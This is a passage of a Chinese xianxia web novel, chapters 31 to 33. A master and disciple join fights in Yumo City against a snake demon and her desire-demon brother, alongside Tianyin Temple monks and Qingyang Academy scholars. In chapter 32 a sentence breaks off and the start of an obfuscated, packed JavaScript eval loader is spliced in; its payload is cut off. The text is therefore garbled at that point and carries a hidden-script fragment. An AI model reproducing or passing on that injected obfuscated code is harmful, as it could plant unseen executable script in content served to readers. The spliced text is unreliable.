谢槿被他骂得有些委屈,又被狠狠揉乱了头发,只能闷闷拨开他的手,整理起发带来。 不过时间过得太快,他还是有些懵,好在叶惟很快便追上来为他解惑,“师兄说这玉陌城中应当有操控时间的法器和大阵,方才那天香楼是蛇妖的一处幻境,时间的流速与玉陌城不同,所以我们出来天便黑了。” 此刻暮色将近,玉陌城中一派欣欣向荣,柳仙儿与闻人祤便在上空斗法,他们的身影快得谢槿完全看不清,只知道城中被斗法波及,好几处建筑坍塌,惊到城中百姓。 小黄鸟却莫名兴奋,飞到闻折柳肩上探头,似要观战,谢槿便问:“前辈自己可以吗?” 叶惟胸有成竹,“先生说师兄已经快要踏入合体期,只是还差一线机缘,应当就在东域,这才命我陪同师兄出门。这玉陌城的蛇妖若是只有化神期,师兄定能将她拿下。” 谢槿修炼至今,自然也知道练气、筑基、金丹、元婴、化神、合体、大乘这几个大境界,其实大多数人一生都不能筑基,更别提其他,能修炼到合体期的哪个不是天才? 本以为揽月宗有几个大乘期也算厉害了,结果师父说揽月宗只是九流宗门,那么四大宗派里的青阳学宫应当会更厉害。只是叶惟这话,不免让谢槿有些疑惑,他小声跟闻折柳咬耳朵,“到底是谁要历练啊?” 闻折柳看向再被他信赖地抓住的衣袖,挑起眉梢。 “又没说只能一个人历练。” 31. 第三十一章 谢槿警觉地看向闻折柳,“师父,你在说什么?” 闻折柳很快别开眼,“那妖孽怕是要现真身了。” 谢槿看他就是心虚! 可谢槿还是被转移了注意力,转头看去,先是迎面掀起一阵腥风,吹得他下意识往闻折柳身后躲,小黄鸟反倒兴奋地挺起胸毛。 谢槿心道小黄鸟胆子还真大,他就不打算死要面子活受罪了,他刚脱险,还心有余悸。 他从闻折柳肩后探出头,就见闻人祤祭出了一卷玉册,自虚空之中铺展开来,古篆文章化为金光飞出玉册,犹如锁链飞向柳仙儿。 谢槿眼睛一亮,“那是什么招数?” 闻折柳刚放下灵酒玉瓶,身后的叶惟便与有荣焉地说:“这是我师兄的法器,专克妖邪,眼下还未完全施展开,但别说是化神期,若我师兄动真格,便是合体期也斗过!” 闻折柳不说话了,递了个眼神给谢槿。谢槿看出叶惟是真的替闻人祤骄傲,也没扫他兴。 “好厉害。” 叶惟果然很开心,如何收敛也藏不住眼底的兴奋,“常先前辈也很厉害,方才在楼中拦路的青蛇也有半步化神,前辈一剑便将她给斩了,很快就找到了道友所在的幻境!” 谢槿听他这么说,又回头看向闻折柳,闻折柳好像没听见一样,一边喝着灵酒一边观战。 师父肯定听到了。谢槿心想,师父要么是不在意,要么就是装,不过看在师父在他失踪后还算尽力找他,他也就勉强原谅师父了。 正要回应叶惟,远处的柳仙儿便哑声笑起来,笑声带着阴恻恻的妖力,刺得人耳朵抽痛。 “看来的确是青阳学宫的人,不错,是有点本事。” 闻人祤道:“那所谓的花神祭,可是你吃人的陷阱?” 柳仙儿躲开锁链,脸颊再添一道新伤,掌中化出血雾拍向闻人祤,“小书生管得也太宽了!” “执迷不悟。” 闻人祤摇了摇头,抬手轻挥,玉册飞出金光锁链。 “缚。” 柳仙儿被逼退到一处屋檐上,指尖抹去脸颊血水,吐出蛇信子舔了一口,笑得肩头轻颤。 “长得文质彬彬,却下如此狠手,你不像书生,倒像个武夫,坏了我的脸皮,真是该死。” 柳仙儿抚上右脸,细长指尖竟穿进脸颊血口,将那一整块脸皮撕下来,露出内里浅红的肌肤,不是血肉,而是蛇鳞般的妖纹。 破碎人皮在血雾被剥落,显出赤红身影,人身蛇尾,满身赤色蛇鳞妖纹,似人非人,红发仿佛在滴血,透着一股摄人心魂的妖异。 闻人祤眸光一寒,再次祭出玉册,万千金光文字化为锁链飞向柳仙儿,却又被她躲开来。 眨眼间,柳仙儿已经来到闻人祤面前,尖长五指掏向闻人祤心口,尖锐的笑声轻柔而又刺耳,“学宫弟子的心,也不知是甜是苦?” 金光锁链旋即折返抽向柳仙儿,却没来得及拦下她,闻人祤也不得不运起于掌心,一掌拍向柳仙儿,而后被那妖气血雾震退出数丈。 叶惟想也没想飞过去,“师兄!” 闻人祤悬停虚空,抬手阻止他近前,轻吐出一口气,抬手掸去手中沾染上的猩红妖气。 “原来是条红斑蛇吗?” 远处蛇女的本体妖象红得刺眼,谢槿只看一眼便感觉到眩晕,赶紧摇头让自己清醒过来。 闻折柳的声音便在耳边传来,“你修为太低,莫要再直视蛇妖。看起来这蛇妖修为也不低,比起常先,这个蛇妖的妖气要强许多。” 谢槿已经吃过一回亏,这回打死也不多看蛇妖了,“这蛇妖应该就是师父要找的那个吧?” 闻折柳道:“再看看。” 蛇女本体半人半蛇,通体赤红,妖纹覆脸,一头张扬红发也仿佛舞动的小蛇一般诡异。 “青阳学宫的小先生不待在南域教书,竟也来除妖?” 叶惟飞到闻人祤身侧,闻言望向蛇女,斥道:“妖孽,你将这附近村寨的村民都聚在城中,每夜办什么花神祭盗取精气,祸害满城生灵,我等青阳学宫弟子,自当诛杀你!” “原来你是想救他们吗?” 蛇女掩唇轻呵一声,竖瞳收紧望向闻人祤二人,指尖轻轻一弹,将一团血雾抛向城中。 说来也怪,谢槿低头往城中看去,便见那满城人除了一开始闻人祤和柳仙儿斗法时有过慌乱外,如今竟都平复下来,一动不动。 “你想做什么?” 叶惟担忧城中百姓会出事,正要出手,便被闻人祤按下了手臂,叶惟面露疑惑,“师兄?” 闻人祤垂眸,“你看。” 那团血雾随着黄昏的风散落到城中,霎时染红整片天地,暮色变作漫天血红,天边斜阳消失得无影无踪,而这城中也被血色覆盖。街上每一个人身上都出现了一根红线,源头便是蛇女手中出现的五根血线。 在她手中,满城人皆是傀儡。 蛇女艳丽诡谲的脸上露出一个仿佛不谙世事的天真笑容,“这座玉陌城原本就是我的玩具罢了,他们自愿入城,便是自愿被我吞入腹中,我想什么时候吃掉他们就什么时候吃。但我要是不高兴,就会先吸干他们的精气,小书生,你还要动手吗?” 便是谢槿修为低微,也能清楚地看到满城傀儡与蛇女手中红线的联系,心下有些震撼。 叶惟又惊又怒,“师兄,怎么办?” 闻人祤沉吟不语。 蛇女笑得越发猖狂,“你求他,倒不如求姐姐我,说不定哄得我高兴了,会分几个人给你。” 叶惟怒道:“你休……” 他那想字还在嘴边没说出来,血红天幕猛地一震。 下一声巨响很快响起,极清晰,轰然一声将天幕撕开一道口子,下一瞬便飞来一道金光,竟是一柄禅杖,转瞬已欺近蛇女身前。 蛇女神色大变,妖力化为血雾挡在身前,可那一柄禅杖势如破竹,蛇女猝然被击飞,狠狠倒在长街上,偏头吐出一大口血水来。 好快!好狠! 谢槿吃了一惊,猛地抬头看向那道口子。有悠远古钟声自天边而来,天幕上的缺口上多了几个光脚踩着金莲的人,为首者一身素色禅衣,额头上是震慑妖邪的金光法印。 随着那人一踏步,带着身后几名禅修闪身出现在长街上,那深插入地面的禅杖也回到了那为首的金印禅修掌中,也震散了血雾。 他身后一名灰衣小僧双手合十,声如洪钟传来—— “天音寺降魔,闲人退避!” 这光脚的灰衣僧说罢,又朝那倒地不起的蛇女冷斥道:“妖孽,交出你盗走的七叶圣昙!” 那声音震慑心魂,叫谢槿好一阵难受,挨着闻折柳才站稳,脸色发白,闻折柳抓住他手臂渡了几分灵力,“莫要慌神,运转灵力。” 谢槿闷哼一声,听话照办。 驾云腾空的闻人祤和叶惟相视一眼,朝他们飞来。 谢槿缓了缓,才靠着闻折柳小声问:“天音寺又是什么地方?他们是来抓这蛇妖的吗?” 闻折柳冷眼望着这四五个光脚僧,传音道:“四大宗派里西域的第一禅宗,听闻数月前,天音寺中百年一开花的三株七叶圣昙其中一株被妖孽连根拔起盗走,天音寺大怒,立誓定要捉拿妖孽。看来摘星阁的消息没错,当时盗走圣药的就是这蛇女。” 谢槿猜到什么,“那圣药就是……” 闻折柳冷嗤一声,“半年前师父重伤,景延师叔和蕴玉师叔到天音寺,只求一片花瓣,结果天音寺连门都没让他们进去,还放任记名弟子羞辱我揽月宗不过九流宗门,不料数月后被妖孽整株盗走,真是活该。” 谢槿倒抽口气,有仇啊! 难怪师父每回说到九流宗门时语气都有些怪怪的。 闻折柳又道:“让他们抢回七叶圣昙,我就白来了。” 谢槿睁大双眼,师父是想…… 说话间,闻人祤和叶惟已然过来,没等他们说话,闻折柳喝了一口灵酒,便高声道:“这就是四大宗派里的天音寺?行事这般嚣张跋扈?真是叫人大开眼界!分明这妖孽是我们辛苦逼出来的,他们一来就赶我们走,怕不是一开始就在利用我们。” 这话一出,闻人祤和叶惟脚下那朵云停在了不远。 大抵都没见过人挑衅天音寺。 谢槿愣了,尤其是发觉那个为首的金印禅修看过来时,他抓紧闻折柳衣袖,欲哭无泪。 师父啊师父,跟天音寺抢七叶圣昙,你也太莽了! 赤脚禅修看过来时,长街上有过一瞬死寂,闻折柳肩上的小黄鸟还特别神气地扬起脑袋。 “叽叽!” 谢槿跟小黄鸟也相处了接近三个月,一听知道,小黄鸟现在一定骂得很脏,也很支持他的主人。谢槿简直是头皮发麻,默默看向小黄鸟,心道这小家伙,非要凑热闹吗? 可师父是为师父的师父抢灵药,错过这次机会,师父未必能再拿到天音寺的七叶圣昙。 要不,也跟着骂好了? 还没等谢槿斟酌好措辞,那先前让他们退避的灰衣僧便怒斥闻折柳,“你是哪个门派的弟子,休要胡言乱语,挑衅我天音寺威严!” 闻折柳轻呵一声,放下玉瓶。 “天音寺好威风,怎么,想知道我是哪个宗门的,好除掉我们宗门吗?这里是东域,可不是西域,天音寺在东域可不算什么。” 灰衣僧怒道:“放肆!” 那带头的金印禅修抬起手示意灰衣小僧退开,望向闻折柳,“你可知道,本座是什么人?” 闻折柳挑眉,“什么人?” 灰衣小僧整了整袖袍,神色傲然,“我师叔乃是天音寺戒律堂的大弟子,化神后期禅修。” 闻折柳随口道:“哦,我是万灵门的,道号常先。” 小黄鸟窝在他肩上叽叽叫了两声,听去很是欢快,谢槿也差 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闻人祤默然颔首,抬手拦下叶惟,明显也无意插手。 “孽畜,眼下可无人护你!” 金印禅修冷哼一声,手中禅杖再出,袭向蛇女,蛇女再放出血雾,赤红长尾拍向禅杖。 可金印禅修那禅杖并不简单,灼得蛇女蛇尾冒出青烟,速速游走退开,便现出手中红线。 红线悬着满城生灵的生机,蛇女咬着牙威胁道:“老秃驴!你若再敢动手,整座玉陌城的人都会因你而死,你可要考虑清楚了!” 金印禅修却未收手,念了一声佛号,另一手手持禅杖朝蛇女攻去,看似慈悲,也更无情。 “本座乃天音寺戒律堂大弟子,此番踏足东域,只为一件事,捉拿蛇妖,取回七叶圣昙!” 蛇女仓惶闪躲,竖瞳瞪大,讥讽道:“都说天音寺的老秃驴以慈悲为怀,没成想在你们眼中满城生灵的性命还不如一株灵药重要!你可知道,我一死,这座城也就毁了!” 金印禅修拍出一掌,“这满城生灵沾染妖气,已成傀儡,今日本座镇你,也是功德一件!” 他们说话间已交手数招,蛇女俨然忌惮他手中禅杖,即使召出妖气血雾,仍是扛不住那金光掌风,吐出一口血撞塌了一处院墙,而后狠狠倒在院落中,竖瞳显露出惧意。 不说闻折柳和闻人祤这两个化神期,谢槿和叶惟二人见金印禅修为了夺回灵药根本不顾城中生灵,脸上都有些不可置信。见金印禅修闪身踏入院中,叶惟先站不住了。 “前辈且慢,这满城生灵……” “哈哈哈!” 蛇女大笑着打断叶惟的话,怒视着金印禅修,狠声道:“老秃驴!就凭你,还杀不了我!” “狂妄!” 金印禅修冷喝一声,执起禅杖,尖锐一头刺向蛇女。谢槿眼瞳一紧,攥紧闻折柳衣袖。 “师父……” 他不像叶惟那样直接出声阻止,因为他也不清楚蛇女的死会造成什么后果,可看叶惟如此着急,金印禅修方才对城中那么多人又是那冷漠的态度,想来绝对不是好事。 闻折柳指尖凝起剑意。 闻人祤也道:“禅师且慢!” 他不出声也罢,一出声,金印禅修面色一沉,禅杖附着肃杀金光,便要刺入蛇女胸膛。 蛇女扬天疾呼:“哥哥救我!” 这沙哑的求救声在长街上回荡那一瞬,蛇女周身骤然喷涌出一股血雾,将她整个人淹没。 忽地,犹如血水凝成的藤蔓自血雾中飞出,缠上蛇女此前畏惧的禅杖,另外几束刺向金印禅修命脉。这些藤蔓速度太快、煞气太重,金印禅修见势不妙,当即默念法咒,梵音起,禅杖金光灼目,灼断血藤。 与此同时,比此前更为厚重,也更为阴冷的血气从雾气中涌出来,瞬间修复了天幕上被撕裂的口子,当即掀起腥风,席卷过长街。 闻折柳毫不犹豫御剑退走,布下结界护住谢槿。 闻人祤也匆忙带着师弟退远。 谢槿缓了缓神,迷茫地从闻折柳手臂后探出头。 “师父,怎么回事?” 闻折柳拧眉道:“魔气?” 谢槿愣了,“啊?” 旋即,下方血雾中响起一声轻笑,听去像是年轻的男声,又带着几分方才蛇女的娇柔。 “怎么了,急急躁躁唤我出来,还搞得如此狼狈?” 谢槿心下一悚,低头看去。 血雾缓缓散去,露出一个身影,却不是蛇女,而是身着黑袍、白发披散的男人。他的下身却也是蛇女一样赤红染血的蛇尾,脸上同样覆着蛇鳞般的妖纹,连眉眼都极相似,但他的胸口上竟还长着一张脸—— 那才是蛇女的脸,她此刻竟还在怨恨哭诉,“哥哥,那秃驴打得我好痛,你一定要杀了他!” 32. 第三十二章 “哦?” 一片寂静中,那身着黑袍的男蛇人勾唇一笑,抬手指向退至院前的金印禅修,“是他吗?” 他那嗓音雌雄难辨,一双血红竖瞳比蛇女的更加诡异阴冷,何况胸口还有一张会动的脸。 谢槿咽了咽喉咙,抓住闻折柳衣袖,“师父……是我看错了,还是那条蛇其实有两个头?” 闻折柳琉璃目眸光沉下来,这次的语气很笃定。 “是魔道邪法。” 谢槿睁大双眼,什么? 此刻被血藤逼退出去的金印禅修沉下脸挥出一道金光护住身后几个灰衣小僧,拄着金禅杖站定,禅杖一震,散去意欲吞噬他的血雾,“妖孽,你身上有七叶圣昙的气息!” “七叶圣昙?”男蛇人抬手取出一株金昙,在圣洁金光下还保持着花开的姿态,花瓣却少了几片,“你说这株昙花?滋味还不错。” “放肆!”金印禅修执杖攻去,“交出七叶圣昙!” 男蛇人手腕一转,那株金色昙花便消失了,他慢悠悠抬指,一股股血气化为血色藤蔓,有犹如触爪一般,扑簌簌飞向金印禅修。 金印禅修挥掌,“罗汉印!” 一方金光大印骤然出现在血藤前方,刚正气息碾碎了血气,五指收紧,朝着男人蛇抓去。 男蛇人弹指射出一道血刃,便轻易将那罗汉印击碎,金印禅修吐出一口血,倒飞出去。 剩余血藤飞向几个灰衣小僧,几个灰衣僧顿时乱起来,好在古纂文章所化的金光锁链很快结为屏障拦下那些血藤,也叫男蛇人的目光留意到了不远处架云腾空的闻人祤师兄弟,“还有青阳学宫的人,我的好妹妹,我沉睡时你究竟招惹了多少人?” 他胸口上那张诡异女脸却咬牙切齿,“这些家伙毁了我的脸皮,哥哥,你不要放过他们!” 待那几个灰衣小僧缓过劲逃出院外,那金印禅修也从远处坍塌的屋檐下飞回来,朝闻人祤看去,也不说道谢,只沉着脸盯着男蛇人,“你不是化神期?你是什么东西!” 闻人祤手持玉册,依然温和,“阁下如何称呼?” 男蛇人傲然一笑,“我乃欲魔老祖,这一世与妖共生,如今我只是合体初期,原本不想这么早就得罪天音寺和青阳学宫,可你们入了我的玉陌城,我就不能饶过你们了。” 他心口那张蛇女的脸愤愤道:“分明是哥哥要吞食这玉陌城中生灵的欲念修炼,那七叶圣昙也是哥哥为了突破瓶颈盗取,却赖到我头上来!不过哥哥,这些天音寺和青阳学宫的人修为不低,想来他们的欲念远比那些凡人香,哥哥何不吃了他们?” 闻折柳低声道:“看来这什么玉陌城,分明是欲魔城,那家伙才是这真正的罪魁祸首。” 谢槿耳尖泛红,“欲魔……欲念也可以修炼吗?” 闻折柳顿了下,回头解释道:“喜怒嗔痴皆为欲念,修炼魔功,靠吞食欲念修炼也不奇怪,所以这些人才会被畜养在城中,而不是吃掉。不过这家伙可是合体初期,手里操控这座城的仙器还没亮出来,看来这回天音寺和青阳学宫要栽跟头了。” 谢槿脸更红了,这次是羞愧的,他摇摇头甩掉一些不正经的东西,担忧地看向城中的人们。他们如同提线木偶一般,身上都悬着红线,此刻因为无人操控,都僵在原地。 “之前花车过去后,那神秘法器启动前,闻人前辈说过这些人的魂都不在了,那现在……” 闻折柳放眼望去,“那老秃驴说的也没错,他们都深陷迷梦,的确是傀儡,他们在这城中被困越久,精气被日益消磨,妖气入体,魔障越深,欲念也更深。看来这只欲魔也知道一顿饱和顿顿饱的差别。” 闻人祤俨然也想通了一切,“看来这满城人被掳到城中,沦为傀儡,也是你的手笔了。” 蛇女那话说得欲魔颇为意动,他看着闻人祤和金印禅修,像是在打量即将下肚的肥羊。 “这些人都不过是凡人,就算有修士,修为也不高,每日供给的欲念只能说是聊胜于无。妹妹说得有理,这两个人都有化神期,吞食了他们,可比这满城欲念增益强。” 金印禅修攥紧禅杖,“魔头!你敢动本座,就不怕招惹来我天音寺的禅尊出山镇压吗?” 事实上,在察觉到欲魔修为高深时,金印禅修就已经有了退意,眼尾余光正寻着退路。 蛇女眼下有人撑腰嚣张得很,“哥哥,别跟他们浪费口舌了!说不定他们已经传信给宗门,只是在拖延时间!等他们宗门的人一来玉陌城就要暴露了,快吃掉他们!” “那我就不客气了。” 此话正中欲魔下怀,他心口飘出一枚血色灵珠,赤红光芒现世,城中霎时卷起阴冷腥风。 血红天幕骤变,层层黑云遮蔽天光,这座玉陌城中的地面却突然冒出猩红的血水,一点点流淌过长街,滔天血海似是转瞬即至。 在被血水腐蚀之际,那些原本一动不动的人们哭嚎起来,悬在身上的红线也仿佛活过来一般,在他们的身上抽取着残余的生机。 他们依然沉醉在欲梦中,神色却都变得痛苦。 闻人祤看到满城百姓深陷血海无力挣扎这一幕,猜到什么,望向欲魔手中血色灵珠,“看来阁下手中之物就是操控玉陌城的仙器!” 欲魔托起血色灵珠,笑问:“看来你对这六相逆魂珠很好奇,那不妨再走近些仔细看看?” 那枚血色灵珠缓缓浮空,赤红灵光忽而大盛,虚空上化出一个血雾凝成的气浪漩涡,城中那些人身上的红线随即飘向那漩涡之中。 那漩涡深处红得刺眼,又似乎有某种神秘的吸引力,引着谢槿失了神,眼前被血色填满。 血色之中,似是一步登天的迷梦,又似是深渊。 忽地,谢槿肩头一沉,将他从恍惚中拉回神来。他先感觉到一股强风扯着自己往前,还好一条温暖的手臂拦腰将他抱住。谢槿急喘一口气,抬眼望向闻折柳,风太大了,吹乱闻折柳的长发和衣袍,几缕长发遮掩脸颊,一双琉璃目却极为清亮。 谢槿心神一定,抓紧他的衣袖,“师父,那是什么?” 闻折柳道:“看来逆魂珠就是玉陌城阵眼,每夜都会吞噬城中人的魂魄和欲念,这只欲魔打算故技重施,顺道将我们也困在其中。” 闻人祤第一时间拉住叶惟手臂往后疾退,未料欲魔先盯上了他,指尖血藤飞出,缠上了师兄弟四肢。闻人祤一指斩断血藤,拍开叶惟,让其退至数丈外的一处屋檐上,旋即祭出玉册,金光文章化为锁链飞向欲魔。 “嗯?” 欲魔莞尔一笑,上空血色灵珠后的血色漩涡忽而漫出黑红血水,缠上金光锁链,只沾染到半分,血水便攀上闻人祤手腕,与空气中的血雾瞬间将他包裹起来结成一个血茧。 “师兄!” 叶惟方才落到屋顶,看见这一幕急得险些跌下去。 欲魔这一手太快了,快得闻人祤都来不及反击,但金印禅修离得远,见状却是转身飞走。 欲魔抬手一挥,血雾漩涡中飞出更多的红线,一遇到血雾便壮大起来,速度奇块,眨眼追上了金印禅修,也是一沾染到人,便在他周身结成血茧,将整个人拉进漩涡中。 剩下几个灰衣僧仓惶逃走,可还是被血线缠上,叶惟见其中一人倒在街上,脚下血水蔓延逼近,身后又是红线追捕,想都没想便飞身过去将那人捞起来,带人飞回屋檐。 “你没事……” 那灰衣僧刚站稳,便一把推开叶惟,自己转身飞走。 此时,长街已经快被血水覆盖,仍有许许多多红线从血雾漩涡中飞出,寻找新的猎物。 一道剑光飞掠过,赤红灵力圈住屋顶上摇摇欲坠的叶惟扔到了剑上,而后急速飞离此地。 叶惟脚下一晃,好险有人及时扶住他,正是谢槿。 谢槿问:“叶道友没事吧?” 叶惟愣愣摇头,回头看向几乎被血色笼罩的长街,再看向闻折柳,拱手道:“多谢前辈救我脱身,可我不能走,师兄他如今……” 闻折柳不耐烦地打断他的话,“别想了!那六相逆魂珠能吞噬所有人的元神魂魄,何况还有那欲魔的手段,但凡是心存欲念之人,只要沾染上半分,都会深陷迷梦当中,成为他的傀儡。不过只要你师兄本心坚定,想要破梦而出,也不无可能。” 叶惟沉吟道:“六相逆魂珠?我相信师兄一定有办法能破梦而出!可还有城中那些百姓……” 闻折柳一边御剑出城,一边道:“那些人被控制已久,妖气入体,能醒来自然是好事,说不定还能挣脱欲魔控制,但连你师兄跟那秃驴都被困住,其他人只怕是没命活着逃出迷梦了。以你们现在的修为回去也不过是送死,我先送你们出城……” 叶惟没听完,转头便飞回去,“多谢前辈好意!但我不能见死不救,何况师兄还在里面!” 闻折柳悬停灵剑,回头看去。 谢槿也是一愣,“师父,他……” 闻折柳挑眉,“你看。” 谢槿眨了眨眼,跟着回头。 叶惟立在黑暗虚空下,正面临着悄然淹没长街的血河还有活物一般朝他扑簌簌飞来的红线。 下方便是望海楼,也就是他们投宿的客栈,在这客栈外便是最热闹的街道,眼下街上还有许多人,血水已经淹没到他们的小腿,他们于梦中挣扎,身体却深陷血河。 男人、女人还有老人小孩的哭声与梦呓混杂在一起,整座玉陌城变作炼狱,越发阴森恐怖。 叶惟却不退不避,手捧一卷灵光萦绕的画轴,画卷铺展开来,却是空白的。叶惟深吸口气,凝起灵力划破指尖,竟在画卷上书写起来,血字一笔一划极为艰难,当它落到纸上时又都化出浩然正气,震慑着满天血线,无形结界将它们挡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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叶惟护下城中百姓的结界,竟当真叫那六相逆魂珠招来的异象平缓下来,也叫欲魔寻了过来,赤红蛇尾游过血河,柔声笑道:“不愧是青阳学宫的弟子,果真有些手段。” 闻折柳摇了摇头,收起了玉瓶,御剑将谢槿放到一处屋檐上,“算了,我回去一趟吧。” 谢槿站定后忙出声唤住他,“师父,那我做什么?” 闻折柳回眸看他,从头看到脚,最后挑眉一笑,“若想活着,就召出剑傀让他带你逃走。” 谢槿有些无措,也有些迷茫。 师父要回去,却叫他一个人逃? 闻折柳没有等待谢槿的回应,说罢御剑返回城中,赤红剑影破风而去,一剑落到水墨结界前,叶惟看见他,眼里迸发出喜色来。 “常先前辈!” 听到这名字,闻折柳轻哼一声,指尖化出赤红剑气,震退了欲魔带来的铺天盖地的血雾,连血雾漩涡中飞出的血线都被一剑斩断。 欲魔这才拿正眼看向这个肩上蹲着只圆圆胖胖的小黄鸟的玄衣青年,方才只觉得此人相貌绝佳,但修为与金印禅修和闻人祤比都不显眼,可这人方才就很懒懒散散地在旁边看热闹,这会儿居然还气定神闲。 关键是,他不怕六相逆魂珠。 欲魔竖瞳中多了几分兴味,“人都有欲念,只要被沾染上,定会陷入我精心布置的梦魇当中,接受内心的拷问,最终坠入我为你们编织的欲梦之中,你竟丝毫不受影响?” 闻折柳嗤道:“以欲念为引,攻心邪术吗?再好的仙器,落到你手里都变得臭不可闻。” 蛇女见到他就火大,“这个男人也伤了我的脸!” 闻折柳冷笑一声,抬指便是一道剑气。赤红剑气一路灼烧血雾,欲魔原本无意去接,未料竟连血雾都拦不下他,眼见剑气载着炙热气息近前,欲魔才匆忙运起妖力接剑。 饶是如此,他仍是被震退出去,狼狈地扶着墙停下,长尾搅动血河,响起啪嗒啪嗒的水声。 再看闻折柳时,血红竖瞳中的不屑变得认真,“原来是个剑修,有点本事,不知是哪家的?” “问那么多,与你何干?” 闻折柳抬指掐诀,数道剑气齐出,欲魔放出黑红雾气吞噬剑气,便见闻折柳御剑而来,欲魔勾唇笑起来,却转过身沿着血河游走。 “此地施展不开手脚,可敢来我这幻境中一战?” 他朝长街尽头挥出一团妖力,血雾凝聚出一个黑洞,未等闻折柳应声,蛇影便游进黑洞中。 闻折柳嗤了一声,御剑追上。 黑洞稍瞬即逝,消失无形。 远处屋檐上,谢槿看着恢复平静的长街尽头,却替闻折柳捏了一把汗,还有小黄鸟,师父与欲魔斗法,怎么把灵宠也带去了? 暗处闪过一道黑影,谢槿警觉看去,有人落到了对面屋檐上,正是方才训斥闻折柳那个灰衣小僧,对方也看见了他,因为闻折柳让他跌了面,看谢槿的眼神算不上和善。 但这人受了伤,灰头土脸的。 谢槿捏紧腰间铁球,抬眼回视。 隔着长街血河,青衣少年扬起下巴,神色冷漠。 师父不在,我也不怕你! 33. 第三十三章 灰衣小僧面色黑了黑,到底没有招惹谢槿,捂着受伤的手臂跃向下一处屋檐朝城门而去。 看他走远,谢槿暗松口气。 这玉陌城中危险诡谲,他修为低微,还是听师父的话,早早离开吧,可师父还没回来…… 正犹豫之际,远处传来叶惟的惊呼声,“你没走!” 谢槿愣了下,回头看去。 除了水墨结界护着的那方圆百丈,血水已经快要淹没过城中的墙头,一道纤细的身影正在叶惟前方的血水中游出来,长发血红,往下滴答滴答地淌着血水,正是那蛇女! 也只是她。 蛇女游出水面,竖瞳望向叶惟与他身后结界内的人群,舔了舔唇角,露出贪婪的神色。 “哥哥与我虽为一体,却不是不可分割,正好将那个讨人厌的剑修引走了,如今那老秃驴和小书生都被困在六相逆魂珠中,只剩下你们这些小鬼,反正哥哥有那几个家伙也够了,我正好吃掉你们解解馋。” 谢槿远远看到蛇女身影,惊得瞪圆一双桃花眼。 不是吧,这么倒霉吗? 叶惟挡在结界前,取出一柄配剑,严阵以待。 “我还在,你休想如愿。” “凭你?” 蛇女冷嗤一声,蛇尾跃出水面甩向叶惟,连人带剑将他抽进结界中,蛇尾随即拍向水墨结界。结界猛然一震,上空护佑在画卷四周的金色鱼龙发出一声沉闷的低吼,但随着蛇尾再拍来,结界便开始动荡不安。 叶惟忙爬起来,运起所剩不多的灵力支撑结界。 谢槿深知叶惟其实支撑不了太久,虚丹境对付化神境还是太勉强了,勉强觉醒法器也无法完全施展法器之力,可自己比他更弱小。 谢槿闭了闭眼,叹了口气,转身看向城门方向。 轰然一声,蛇尾重重甩上水墨结界,鱼龙哀鸣,结界绽出裂缝,叶惟垂头吐出一口血,却依旧未退,咬着牙站起来支撑结界。 可饶是如此,还是有几缕血水沿着裂缝处钻进结界内,化为血雾飘向人群。才安宁了不多时的人群中响起痛苦的喘息声,生机沿着身上红线再次流逝,再次被拉入梦魇。 蛇女大笑,“你一个小书生,老老实实留在学宫读书就是了,你硬撑下去也救不了他们,若不多管闲事,丢下他们还能自己逃,你们学宫奉行的不正是所谓中庸之道吗?” 叶惟笑得有些不屑,“先生说,书上道理千千万万,我们修行途中也当有一以贯之的道理。读书人不只是教书匠,也可以救人、救世、得道、成圣。人命至重,有贵千金,今日让我遇见这桩事,我就不会不管。知其不可而为之,就是我的态度!” 蛇女撇嘴道:“我可不想听你讲什么道理,但我倒是听闻,青阳学宫似乎是有个离经叛道的先生,就是不记得叫什么了,若你就是他的弟子,那他今日便要痛失弟子了。” 蛇尾再浮出水面,一声轻笑冷不丁插入二人之间。 “姐姐何必如此急躁?我还想再听他多讲几句。” 随着话音落下,一道青衣身影落到结界外望海楼的屋檐上,冷风撩起少年的发带和衣摆,血雾如何也盖不住那一身清雅秀气。 看见谢槿回来,叶惟面露惊愕,“柳道友,你……” 蛇女笑起来,“原来是柳弟弟,还以为你已经逃了。” 谢槿朝叶惟点点头,便笑看蛇女,“师父还没走,为人徒弟又怎么能独自逃走?对了,姐姐究竟是不是叫柳仙儿,不会是假名吧?” 蛇女看他姿态从容,虽无绝艳之貌,身形却是极好看的,神清骨秀,看着也叫人赏心悦目,耐心也多了几分,她抬手将长发别在耳后,“柳仙儿是我给自己起的名字,自然是真,可我还不知弟弟叫什么名字。” 谢槿摩挲腰间铁球,“我若说出名字,姐姐怕是要吃惊。” 柳仙儿还真被他勾起了几分好奇心,“不过只是一个名字,如何叫我吃惊?难不成你还是哪位大能的后人,可我怎么没听说过九域有哪位半步飞升的大能有姓柳的后人?” 谢槿缓缓摇头,“非也,只是姐姐听了或许会不高兴。我师父乃是万灵门的常先道人,我名柳月,如此,姐姐可觉得有些熟悉?” 柳仙儿脸色骤然一变,“你见过我那徒儿了?昨日开始,他便没有半点消息,莫不是……” 谢槿笑着点下头,“如此看来,姐姐果真就是他的师父,不过可惜,他已经死在了柳仙镇。” 柳仙儿柳眉竖起,“你……” 谢槿笑叹一声,不知是叹对方还是叹自己,“生气了?” 柳仙儿咬了咬牙,不想叫他得意,硬是挤出一个笑容来,“小子,你这是故意激怒我。” 谢槿笑问:“那你生气了吗?” 柳仙儿忍了忍,之后蛇尾狠狠甩向望海楼,大半屋顶轰然塌陷,招牌也掉进了血河里。 早在蛇尾靠近时,谢槿就提气退至不远屋檐一角,看着底下血水侵入客栈,他掐了掐指尖,转身便跳到了望海楼后的一片屋檐上。 叶惟见状哑声急道:“柳道友莫要再逞强!你才只是炼气期,快些过来,我用结界护你!” 谢槿看向他,感叹道:“知其不可而为之,也是我很喜欢的一句话。多谢叶道友护我之心,小弟不才,先在这里祝叶道友文运畅达。” 他给柳仙儿留下一句话便转身离开,“想知道你徒弟被谁所杀就跟我来,你哥哥引走我师父,我引走你,岂不是很公平合理的游戏?” 柳仙儿岂能看不出他是想引走自己,可徒弟的死仇摆在面前,再看叶惟那结界也不难破,笃定了叶惟不会逃走,也带不走那么多深陷梦魇的人,她便倾身爬上望海楼屋顶,十数丈长的蛇尾上房,如履平地。 “这游戏的确有点意思,既然如此,姐姐就陪你玩玩!” 